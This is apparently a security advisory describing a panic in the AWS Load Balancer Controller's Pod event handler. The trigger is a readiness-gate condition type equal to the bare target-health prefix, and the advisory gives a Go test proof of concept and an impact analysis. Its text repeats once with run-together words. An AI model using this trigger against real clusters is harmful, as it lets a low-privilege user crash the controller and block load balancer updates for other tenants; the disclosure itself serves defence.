Summary
The AWS Load Balancer Controller's Pod event handler panics when the condition type of a Pod readiness gate is exactly target-health.elbv2.k8s.aws. The legacy target-health.alb.ingress.k8s.aws prefix is affected as well. Both values pass Kubernetes qualified-name validation, but the handler assumes that each prefix is followed by / and a TargetGroupBinding name.
A user with permission to create Pods in a watched namespace can trigger the panic without TargetGroupBinding permissions or AWS credentials. By default, the controller watches all namespaces. As a result, the panic can interrupt reconciliation for resources outside the Pod's namespace.
Details
The panic occurs in enqueueImpactedTargetGroupBindings at controllers/elbv2/eventhandlers/pod.go:57-65. The handler reads each Pod readiness gate and checks its condition type against the current and legacy target-health prefixes:
for _, gate := range pod.ReadinessGates {
gateCondition := string(gate.ConditionType)
for _, prefix := range []string{targetgroupbinding.TargetHealthPodConditionTypePrefix, targetgroupbinding.TargetHealthPodConditionTypePrefixLegacy} {
if strings.HasPrefix(gateCondition, prefix) {
tgb := types.NamespacedName{
Namespace: pod.Key.Namespace,
Name: gateCondition[len(prefix)+1:],
}
HasPrefix returns true when gateCondition is equal to the prefix, but the slice assumes that the prefix is followed by /. With the bare target-health.elbv2.k8s.aws prefix, the slice starts at index 28 in a 27-byte string and panics:
panic: runtime error: slice bounds out of range [28:27]
PodInfo copies spec.readinessGates from the Pod, and the TargetGroupBinding controller registers this handler with the production Pod informer in controllers/elbv2/targetgroupbinding_controller.go:260-281.
PoC
Add the following test as controllers/elbv2/eventhandlers/pod_poc_test.go:
package eventhandlers
import (
"context"
"testing"
"github.com/go-logr/logr"
corev1 "k8s.io/api/core/v1"
"k8s.io/apimachinery/pkg/types"
"k8s.io/apimachinery/pkg/util/validation"
"k8s.io/client-go/util/workqueue"
"sigs.k8s.io/aws-load-balancer-controller/v3/pkg/k8s"
"sigs.k8s.io/aws-load-balancer-controller/v3/pkg/targetgroupbinding"
"sigs.k8s.io/controller-runtime/pkg/controller/controllertest"
"sigs.k8s.io/controller-runtime/pkg/log"
"sigs.k8s.io/controller-runtime/pkg/reconcile"
)
func TestPoC_BareReadinessGatePanics(t *testing.T) {
gateCondition := targetgroupbinding.TargetHealthPodConditionTypePrefix
if errs := validation.IsQualifiedName(gateCondition); len(errs) != 0 {
t.Fatalf("condition type failed qualified-name validation: %v", errs)
}
handler := &enqueueRequestsForPodEvent{
logger: logr.New(&log.NullLogSink{}),
}
queue := &controllertest.TypedQueue[reconcile.Request]{
TypedInterface: workqueue.NewTyped[reconcile.Request](),
}
pod := &k8s.PodInfo{
Key: types.NamespacedName{
Namespace: "tenant",
Name: "poc",
},
ReadinessGates: []corev1.PodReadinessGate{
{ConditionType: corev1.PodConditionType(gateCondition)},
},
}
defer func() {
recovered := recover()
if recovered == nil {
t.Fatal("expected the handler to panic")
}
t.Logf("recovered panic: %v", recovered)
}()
handler.enqueueImpactedTargetGroupBindings(context.Background(), queue, pod)
}
Run:
go test ./controllers/elbv2/eventhandlers -run TestPoC_BareReadinessGatePanics -count=1 -v
Output:
=== RUN TestPoC_BareReadinessGatePanics
pod_poc_test.go:46: recovered panic: runtime error: slice bounds out of range [28:27]
--- PASS: TestPoC_BareReadinessGatePanics (0.00s)
PASS
The imports above match the current /v3 module path. When running the test against a v3.4.x release tag, remove /v3 from the two repository-local import paths.
Impact
A user who can create a Pod in a watched namespace can trigger the panic. In v3.4.x, client-go logs the informer handler panic and re-panics, terminating the controller process. By default, the controller watches all namespaces. Unless --watch-namespace is set, this can interrupt target registration and load balancer configuration updates for resources outside the Pod's namespace.
The Pod remains stored in the Kubernetes API. When the controller registers its handler after a restart, cached Pods are delivered as initial Add events, so the same Pod may cause another crash. Repeated crashes are possible until the Pod is removed.
The handler panics before it enqueues a reconciliation request, so this event path makes no AWS API call and does not directly modify existing ALB or NLB resources. Immediate interruption of traffic through existing load balancers has not been demonstrated. Target registration and load balancer configuration changes may remain unapplied while the controller is unavailable.
Summary
The AWS Load Balancer Controller's Pod event handler panics when the condition type of a Pod readiness gate is exactly
target-health.elbv2.k8s.aws. The legacytarget-health.alb.ingress.k8s.awsprefix is affected as well. Both values pass Kubernetes qualified-name validation, but the handler assumes that each prefix is followed by/and a TargetGroupBinding name.A user with permission to create Pods in a watched namespace can trigger the panic without TargetGroupBinding permissions or AWS credentials. By default, the controller watches all namespaces. As a result, the panic can interrupt reconciliation for resources outside the Pod's namespace.
Details
The panic occurs in
enqueueImpactedTargetGroupBindingsatcontrollers/elbv2/eventhandlers/pod.go:57-65. The handler reads each Pod readiness gate and checks its condition type against the current and legacy target-health prefixes:HasPrefixreturns true whengateConditionis equal to the prefix, but the slice assumes that the prefix is followed by/. With the baretarget-health.elbv2.k8s.awsprefix, the slice starts at index 28 in a 27-byte string and panics:PodInfocopiesspec.readinessGatesfrom the Pod, and the TargetGroupBinding controller registers this handler with the production Pod informer incontrollers/elbv2/targetgroupbinding_controller.go:260-281.PoC
Add the following test as
controllers/elbv2/eventhandlers/pod_poc_test.go:Run:
go test ./controllers/elbv2/eventhandlers -run TestPoC_BareReadinessGatePanics -count=1 -vOutput:
The imports above match the current
/v3module path. When running the test against av3.4.xrelease tag, remove/v3from the two repository-local import paths.Impact
A user who can create a Pod in a watched namespace can trigger the panic. In
v3.4.x, client-go logs the informer handler panic and re-panics, terminating the controller process. By default, the controller watches all namespaces. Unless--watch-namespaceis set, this can interrupt target registration and load balancer configuration updates for resources outside the Pod's namespace.The Pod remains stored in the Kubernetes API. When the controller registers its handler after a restart, cached Pods are delivered as initial Add events, so the same Pod may cause another crash. Repeated crashes are possible until the Pod is removed.
The handler panics before it enqueues a reconciliation request, so this event path makes no AWS API call and does not directly modify existing ALB or NLB resources. Immediate interruption of traffic through existing load balancers has not been demonstrated. Target registration and load balancer configuration changes may remain unapplied while the controller is unavailable.